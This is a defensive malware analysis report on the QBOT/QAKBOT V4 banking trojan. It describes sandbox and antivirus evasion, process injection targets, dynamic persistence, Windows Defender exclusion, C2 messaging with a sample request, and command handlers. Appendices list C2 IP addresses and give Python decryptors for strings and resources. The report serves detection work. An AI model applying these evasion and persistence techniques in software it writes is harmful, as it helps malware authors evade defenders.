QBOT Malware Analysis

Deutsch
blog-thumb-drill-bit.jpg

Key takeaways

  • Elastic Security Labs is releasing a QBOT malware analysis report from a recent campaign
  • This report covers the execution chain from initial infection to communication with its command and control containing details about in depth features such as its injection mechanism and dynamic persistence mechanism.
  • From this research we produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs)

Preamble

As part of our mission to build knowledge about the most common malware families targeting institutions and individuals, the Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking trojan QBOT/QAKBOT V4 from a previously reported campaign.

QBOT — also known as QAKBOT — is a modular Trojan active since 2007 used to download and run binaries on a target machine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the execution flow of the binary from launch to communication with its command and control (C2).

QBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring persistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses, upload and run fileless binaries, and execute shell commands.

As a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static configuration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.

Additional QBOT resources

For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing this:

Execution flow

This section describes the QBOT execution flow in the following three stages:

  • First Stage: Initialization
  • Second Stage: Installation
  • Third Stage: Communication

Stage 1

First stage execution flow

The sample is executed with the regsvr32.exe binary, which in turn will call QBOT’s DllRegisterServer export:

regsvr32.exe loading QBOT and calling its DllRegisterServer export.

After execution, QBOT checks if it’s running under the Windows Defender sandbox by checking the existence of a specific subdirectory titled: C:\\INTERNAL\\__empty, if this folder exists, the malware terminates itself:

QBOT checking if it is running and Windows Defender sandbox.

The malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below contains a list of AV vendors QBOT reacts to:

Enum of vendors QBOT can detect.

AV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate a seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the following expression:

fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)

If the “C:” volume doesn’t exist the expression below is used instead:

fingerprint = CRC32(computerName + AccountName)

Finally, QBOT will choose a set of targets to inject into depending on the AVs previously detected and the machine architecture:

AV detected & architecture

Targets

BitDefender | Kaspersky | Sophos | TrendMicro | & x86

%SystemRoot%\\SysWOW64\\mobsync.exe %SystemRoot%\\SysWOW64\\explorer.exe

BitDefender | Kaspersky | Sophos | TrendMicro & x64

%SystemRoot%\\System32\\mobsync.exe

%SystemRoot%\\explorer.exe

%ProgramFiles%\\Internet Explorer\\iexplore.exe

Avast | AVG | Windows Defender & x86

%SystemRoot%\\SysWOW64\\OneDriveSetup.exe

%SystemRoot%\\SysWOW64\\msra.exe

%ProgramFiles(x86)%\\Internet Explorer\\iexplore.exe

Avast | AVG | Windows Defender & x64

%SystemRoot%\\System32\\OneDriveSetup.exe

%SystemRoot%\\System32\\msra.exe

x86

'%SystemRoot%\\explorer.exe

%SystemRoot%\\System32\\msra.exe

%SystemRoot%\\System32\\OneDriveSetup.exe

x64

%SystemRoot%\\SysWOW64\\explorer.exe

%SystemRoot%\\SysWOW64\\msra.exe

%SystemRoot%\\System32\\OneDriveSetup.exe

QBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets– choosing the next target process if the injection fails. Below is an example of QBOT injecting into explorer.exe.

QBOT injecting itself into explorer.exe

Stage 2

Second stage execution flow

QBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:

QBOT corrupting its binary file

The malware then loads its configuration from one of its resource sections:

QBOT loading its configuration from resource

QBOT also has the capability to load its configuration from a .cfg file if available in the process root directory:

QBOT trying to load its configuration from a file

After loading its configuration, QBOT proceeds to install itself on the machine– initially by writing its internal configuration to the registry:

QBOT writing its configuration to the registry

Shortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the %APPDATA%\Microsoft directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:

QBOT creating its persistence folder

At this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected. This “contingency” binary will be deleted after reboot.

QBOT will attempt the same install process for all users and try to either execute the malware within the user session if it exists, or create a value under the CurrentVersion\Run registry key for the targeted user to launch the malware at the next login. Our analysis didn’t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact observed is the randomly generated persistence folder created under the user %APPDATA%\Microsoft directory:

Persistence folder is empty when QBOT is running

QBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via Schtask to launch a QBOT service under the NT AUTHORITY\SYSTEM account.

The first stage has a special execution path where it registers a service handler if the process is running under the SYSTEM account. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing commands on behalf of other QBOT processes via messages received through a randomly generated named pipe:

QBOT running as SYSTEM service

Stage 3

Third stage execution flow

QBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and shutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy of the QBOT binary in the persistence folder and creating a value under the CurrentVersion\Run registry key:

QBOT install persistence when suspend/resume or shutdown/reboot event occurs

At reboot, QBOT will take care of deleting any persistence artifacts.

The malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries every second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated IP addresses instead of the real one, thus never reaching its command and control:

frida-winjector-helper-32.exe

frida-winjector-helper-64.exe

Tcpdump.exe

windump.exe

ethereal.exe

wireshark.exe

ettercap.exe

rtsniff.exe

packetcapture.exe

capturenet.exe

qak_proxy

dumpcap.exe

CFF Explorer.exe

not_rundll32.exe

ProcessHacker.exe

tcpview.exe

filemon.exe

procmon.exe

idaq64.exe

PETools.exe

ImportREC.exe

LordPE.exe

SysInspector.exe

proc_analyzer.exe

sysAnalyzer.exe

sniff_hit.exe

joeboxcontrol.exe

joeboxserver.exe

ResourceHacker.exe

x64dbg.exe

Fiddler.exe

sniff_hit.exe

sysAnalyzer.exe

QBOT will then load its domains from one of its .rsrc files and from the registry as every domain update received from its C2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.

Finally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object encapsulated within an enciphered message which is then base64-encoded:

QBOT message format

Below an example of a HTTP POST request sent by QBOT to its C2:

Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 181.118.183.98
Content-Length: 77
Cache-Control: no-cache

qxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==

Through this communication channel, QBOT receives commands from C2 — see Appendix B (Command Handlers). Aside from management commands (update, configuration knobs), our sample only handles binary execution-related commands, but we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server, proxy support (to be part of the domains list), and numerous other capabilities are feasible.

Features

Mersenne Twister Random Number Generator

QBOT uses an implementation of Mersenne Twister Random Number Generator (MTRNG) to generate random values:

QBOT's Mersenne Twister Random Number Generator implementation

The MTRNG engine is then used by various functions to generate different types of data, for example for generating registry key values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint and a “salt” specific to the value it wants to generate:

QBOT generating random event name with fixed seed and salt

String obfuscation

All QBOT strings are XOR-encrypted and concatenated in a single blob we call a “string bank”. To get a specific string the malware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string bank.

GetStringAux function prototype.

As this sample has two string banks, it has four GetString' functions currying the string bank and the decryption key parameters: One C string function and one wide string function for each string bank. Wide string functions use the same string banks, but convert the data to utf-16.

QBOT calling GetString function
GetString function currying GetStringAux with string bank and key parameters

See Appendix C (String Deciphering Implementation).

Import obfuscation

QBOT resolves its imports using a hash table:

QBOT calling GetApi function
GetApi function prototype

The malware resolves the library name through its GetString function and then resolves the hash table with a classic library’s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison algorithm use this formula:

CRC32(exportName) XOR 0x218fe95b == hash

Resource obfuscation

The malware is embedded with different resources, the common ones are the configuration and the domains list. Resources are encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the resource is decrypted, an embedded hash is used to check data validity.

QBOT decrypting its resource with embedded or provided key

See Appendix D (Resource Deciphering Implementation).

Cyrillic keyboard language detection

At different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further execution.

Set of languages QBOT is looking to stop its execution

AVG/AVAST special behavior

AVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at the installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation phase.

QBOT checking if AVG/AVAST has hooked its process

Windows Defender special behavior

If QBOT is running under SYSTEM account, it will add its persistence folder to the Windows Defender exclusion path in the registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.

QBOT adding its persistence folder to Windows Defender and MSE exclusion paths

Exception list process watchdog

Each second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a “fuse” value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution– but at the third stage, the malware will use randomly generated IP and won't be able to contact C2.

Watchdog thread setting fuse if any Exceptionlisted process is detected
QBOT using randomly generated IP address if fuse is set

QBOT process injection

Second stage injection

To inject its second stage into one of a hardcoded target, QBOT uses a classic CreateProcess, WriteProcessMemory, ResumeProcess DLL injection technique. The malware will create a process, allocate and write the QBOT binary within the process memory, write a copy of its engine, and patch the entry point to jump to a special function. This function performs a light initialization of QBOT and its engine within the new process environment, alerts the main process of its success, and then execute the second stage.

QBOT second stage injection
QBOT injection entry point

Injecting library from command and control

QBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself, the malware will also map the received binary and use a library loader as entry point.

QBOT DLL loader injection
QBOT Dll loader entrypoint

Multi-user installation

Part of the QBOT installation process is installing itself within others users’ accounts. To do so, the malware enumerates each user with an account on the machine (local and domain), then dumps its configuration under the user’s Software\Microsoft registry key, creates a persistence folder under the users’ %APPDATA%\Microsoft folder, and finally tries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when the user will log in.

QBOT installation & run for one user

Dynamic persistence

QBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall persistence.

QBOT window handler registration
QBOT window handler catching suspend/resume event

QBOT registers a console event to handle shutdown/reboot events as well.

QBOT registering console handler
QBOT console handler catching shutdown/reboot event

Command and control public key pinning

QBOT has a mechanism to verify the signature of every message received from its command and control. The verification mechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the sample belongs to, but this mechanism may not always be present.

QBOT command and control message processing
Message signature verification with hardcoded command and control public key

The public key comes from a hardcoded XOR-encrypted data blob.

Hardcoded command and control public key being XOR-decrypted

Computer information gathering

Part of QBOT communication with its command and control is sending information about the computer. Information are gathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:

Computer information gathering 1/2
Computer information gathering 2/2

One especially interesting procedure listed installed antivirus via WMI:

QBOT listing installed antivirus via a WMI command

Update mechanism

QBOT can receive updates from its command and control. The new binary will be written to disk, executed through a command line, and the main process will terminate.

QBOT writing to disk and running the updated binary
QBOT stopping execution if update is running

Process injection manager

QBOT has a system to keep track of processes injected with binaries received from its command and control in order to manage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in case it has to stop execution and recover execution when restarted.

To do this bookkeeping, QBOT maintains two global structures — a list of all binaries received from its command and control, and a list of running injected processes:

QBOT’s list of DLL to inject received from its command and control.
QBOT’s list of running injected processes

Conclusion

The QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful modular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery mechanism for additional malware and post-compromise activity.

Elastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free 14-day trial of Elastic Cloud.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub Techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Observations

While not specific enough to be considered indicators of compromise, the following information was observed during analysis that can help when investigating suspicious events.

File System

Persistence folder

%APPDATA%\Microsoft\[Random Folder]

Example:

C:\Users\Arx\AppData\Roaming\Microsoft\Vuhys

Registry

Scan Exclusion

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\[Persistence Folder]

Example:

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Arx\AppData\Roaming\Microsoft\Blqgeaf

Configuration

Configuration

HKU\[User SID]\Software\Microsoft\[Random Key]\[Random Value 0]

Example:

HKU\S-1-5-21-2844492762-1358964462-3296191067-1000\Software\Microsoft\Silhmfua\28e2a7e8

Appendices

Appendix A (extracted network infrastructure)

1.161.71.109:443

1.161.71.109:995

100.1.108.246:443

101.50.103.193:995

102.182.232.3:995

103.107.113.120:443

103.139.243.207:990

103.246.242.202:443

103.87.95.133:2222

103.88.226.30:443

105.226.83.196:995

108.60.213.141:443

109.12.111.14:443

109.228.220.196:443

113.11.89.165:995

117.248.109.38:21

120.150.218.241:995

120.61.2.95:443

121.74.167.191:995

125.168.47.127:2222

138.204.24.70:443

140.82.49.12:443

140.82.63.183:443

140.82.63.183:995

143.0.34.185:443

144.202.2.175:443

144.202.2.175:995

144.202.3.39:443

144.202.3.39:995

148.64.96.100:443

149.28.238.199:443

149.28.238.199:995

172.114.160.81:995

172.115.177.204:2222

173.174.216.62:443

173.21.10.71:2222

174.69.215.101:443

175.145.235.37:443

176.205.119.81:2078

176.67.56.94:443

176.88.238.122:995

179.158.105.44:443

180.129.102.214:995

180.183.128.80:2222

181.118.183.98:443

181.208.248.227:443

181.62.0.59:443

182.191.92.203:995

182.253.189.74:2222

185.69.144.209:443

186.105.121.166:443

187.102.135.142:2222

187.207.48.194:61202

187.250.114.15:443

187.251.132.144:22

190.252.242.69:443

190.73.3.148:2222

191.17.223.93:32101

191.34.199.129:443

191.99.191.28:443

196.233.79.3:80

197.167.62.14:993

197.205.127.234:443

197.89.108.252:443

2.50.137.197:443

201.145.189.252:443

201.211.64.196:2222

202.134.152.2:2222

203.122.46.130:443

208.107.221.224:443

209.197.176.40:995

217.128.122.65:2222

217.164.210.192:443

217.165.147.83:993

24.178.196.158:2222

24.43.99.75:443

31.35.28.29:443

31.48.166.122:2078

32.221.224.140:995

37.186.54.254:995

37.34.253.233:443

38.70.253.226:2222

39.41.158.185:995

39.44.144.159:995

39.52.75.201:995

39.57.76.82:995

40.134.246.185:995

41.228.22.180:443

41.230.62.211:993

41.38.167.179:995

41.84.237.10:995

42.235.146.7:2222

45.241.232.25:995

45.46.53.140:2222

45.63.1.12:443

45.63.1.12:995

45.76.167.26:443

45.76.167.26:995

45.9.20.200:443

46.107.48.202:443

47.156.191.217:443

47.180.172.159:443

47.180.172.159:50010

47.23.89.62:993

47.23.89.62:995

5.32.41.45:443

5.95.58.211:2087

66.98.42.102:443

67.209.195.198:443

68.204.7.158:443

70.46.220.114:443

70.51.138.126:2222

71.13.93.154:2222

71.74.12.34:443

72.12.115.90:22

72.252.201.34:995

72.76.94.99:443

73.151.236.31:443

73.67.152.98:2222

74.15.2.252:2222

75.113.214.234:2222

75.99.168.194:443

75.99.168.194:61201

76.169.147.192:32103

76.25.142.196:443

76.69.155.202:2222

76.70.9.169:2222

78.87.206.213:995

80.11.74.81:2222

81.215.196.174:443

82.152.39.39:443

83.110.75.97:2222

84.241.8.23:32103

85.246.82.244:443

86.97.11.43:443

86.98.208.214:2222

86.98.33.141:443

86.98.33.141:995

88.228.250.126:443

89.211.181.64:2222

90.120.65.153:2078

91.177.173.10:995

92.132.172.197:2222

93.48.80.198:995

94.36.195.250:2222

94.59.138.62:1194

94.59.138.62:2222

96.21.251.127:2222

96.29.208.97:443

96.37.113.36:993

Appendix B (command handlers)

Id

Handler

0x1

MARE::rpc::handler::CommunicateWithC2

0x6

MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14

0x7

MARE::rpc::handler::DisableGlobalRegistryConfigurationValuek0x14

0xa

MARE::rpc::handler::KillProcess

0xc

MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1

0xd

MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent0

0xe

MARE::rpc::handler::DoEvasionMove

0x12

MARE::rpc::handler::NotImplemented

0x13

MARE::rpc::handler::UploadAndRunUpdatedQBOT0

0x14

MARE::rpc::handler::Unk0

0x15

MARE::rpc::handler::Unk1

0x19

MARE::rpc::handler::UploadAndExecuteBinary

0x1A

MARE::rpc::handler::UploadAndInjectDll0

0x1B

MARE::rpc::handler::DoInjectionFromDllToInjectByStr

0x1C

MARE::rpc::handler::KillInjectedProcessAndDisableDllToInject

0x1D

MARE::rpc::handler::Unk3

0x1E

MARE::rpc::handler::KillInjectedProcessAndDoInjectionAgainByStr

0x1F

MARE::rpc::handler::FastInjectdll

0x21

MARE::rpc::handler::ExecuteShellCmd

0x23

MARE::rpc::handler::UploadAndInjectDll1

0x24

MARE::rpc::handler::UploadAndRunUpdatedQBOT1

0x25

MARE::rpc::handler::SetValueToGlobalRegistryConfiguration

0x26

MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration

0x27

MARE::rpc::handler::ExecutePowershellCmd

0x28

MARE::rpc::handler::UploadAndRunDllWithRegsvr32

0x29

MARE::rpc::handler::UploadAndRunDllWithRundll32

Appendix C (string deciphering implementation)

def decipher_strings(data: bytes, key: bytes) -> bytes:
   result = dict()
   current_index = 0
   current_string = list()
   for i in range(len(data)):
       current_string.append(data[i] ^ key[i % len(key)])
       if data[i] == key[i % len(key)]:
              result[current_index] = bytes(current_string)
              current_string = list()
              current_index = i + 1
   return result

Appendix D (resource deciphering implementation)

from Crypto.Cipher import ARC4
from Crypto.Hash import SHA1

def decipher_data(data: bytes, key: bytes) -> tuple[bytes, bytes]:
   data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)
   return data[20:], data[:20]


def verify_hash(data: bytes, expected_hash: bytes) -> bool:
   return SHA1.SHA1Hash(data).digest() == expected_hash


def decipher_rsrc(rsrc: bytes, key: bytes) -> bytes:
   deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])
   if not verify_hash(deciphered_rsrc, expected_hash):
       deciphered_rsrc, expected_hash = decipher_data(rsrc, key)
       if not verify_hash(deciphered_rsrc, expected_hash):
              raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')
   return deciphered_rsrc